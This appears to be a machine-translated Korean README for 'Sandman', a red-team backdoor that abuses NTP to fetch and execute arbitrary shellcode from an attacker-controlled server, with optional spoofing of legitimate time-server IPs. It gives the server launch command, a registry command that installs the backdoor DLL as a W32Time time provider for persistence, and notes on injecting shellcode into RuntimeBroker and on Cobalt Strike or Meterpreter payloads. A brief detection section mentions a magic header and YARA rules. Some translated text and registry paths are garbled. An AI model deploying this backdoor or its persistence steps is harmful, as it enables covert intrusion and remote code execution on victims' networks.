Sandman은 Red Team Engagements 동안 강화 된 네트워크에서 작업하기위한 백도어입니다.
Sandman은 Stager로 작동하여 NTP (시간 및 날짜를 동기화하기위한 프로토콜)를 활용하여 사전 정의 된 서버에서 임의의 쉘 코드를 얻고 실행합니다.
NTP는 많은 수비수들이 간과하는 프로토콜이므로 네트워크 접근성이 넓습니다.

Windows에서 실행 / *nix 머신 :
python3 sandman_server.py " Network Adapter " " Payload Url " " optional: ip to spoof "네트워크 어댑터 : 서버가 청취하려는 어댑터 (예 : Windows 용 이더넷, *nix 용 Eth0).
Payload URL : URL이 쉘 코드에 대한 URL, 에이전트 (예 : Cobaltstrike 또는 MeterPreter) 또는 다른 Stager 일 수 있습니다.
스푸핑 할 IP : 합법적 인 IP 주소 (예 : time.microsoft.com의 IP 주소)를 스푸핑하려는 경우.
시작하려면 아래에 언급 된대로 SandmanbackDoor를 컴파일 할 수 있습니다. 단일 경량 C# 실행 파일이므로 ExecuteSembly를 통해 실행하거나 NTP 제공 업체로 실행하거나 실행/주입 할 수 있기 때문입니다.
이를 사용하려면 간단한 단계를 수행해야합니다.
reg add " HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient " /v DllName /t REG_SZ /d " C:PathToTheDll.dll " sc stop w32time
sc start w32time참고 : CPU 옵션이 아닌 X64 옵션으로 컴파일하고 있는지 확인하십시오!
공격자의 제어 서버에서 임의의 페이로드를 얻고 실행합니다.
NTP는 일반적으로 FW에서 허용되므로 경화 네트워크에서 작동 할 수 있습니다.
IP 스푸핑을 통해 합법적 인 NTP 서버를 가장합니다.
파이썬 3.9
요구 사항은 요구 사항 파일에 지정됩니다.
백도어를 컴파일하기 위해 Visual Studio 2022를 사용했지만 사용 섹션에서 언급했듯이 VS2022 및 CSC로 컴파일 할 수 있습니다. USE_SHELLCODE를 사용하여 컴파일하고 Orca의 ShellCode를 사용하거나 WebClient를 사용하려면 Use_ShellCode를 사용하지 않습니다.
Visual Studio 2022를 사용한 백도어를 컴파일하려면 Dllexport (Nuget 또는 다른 방법을 통해)를 설치하여 컴파일해야합니다. USE_SHELLCODE를 사용하여 컴파일하고 Orca의 ShellCode를 사용하거나 WebClient를 사용하려면 Use_ShellCode를 사용하지 않습니다.
쉘 코드가 런타임 브로커에 주입됩니다.
의심스러운 NTP 커뮤니케이션은 알려진 매직 헤더로 시작합니다.
야라 규칙.
쉘 코드의 오카.
Time Provider 아이디어에 대한 Tim McGuffin에게 특별한 감사를드립니다.
이미 기여한 분들 덕분에 기부금을 기꺼이 받아들이고, 풀 요청을 수행하면 검토하겠습니다!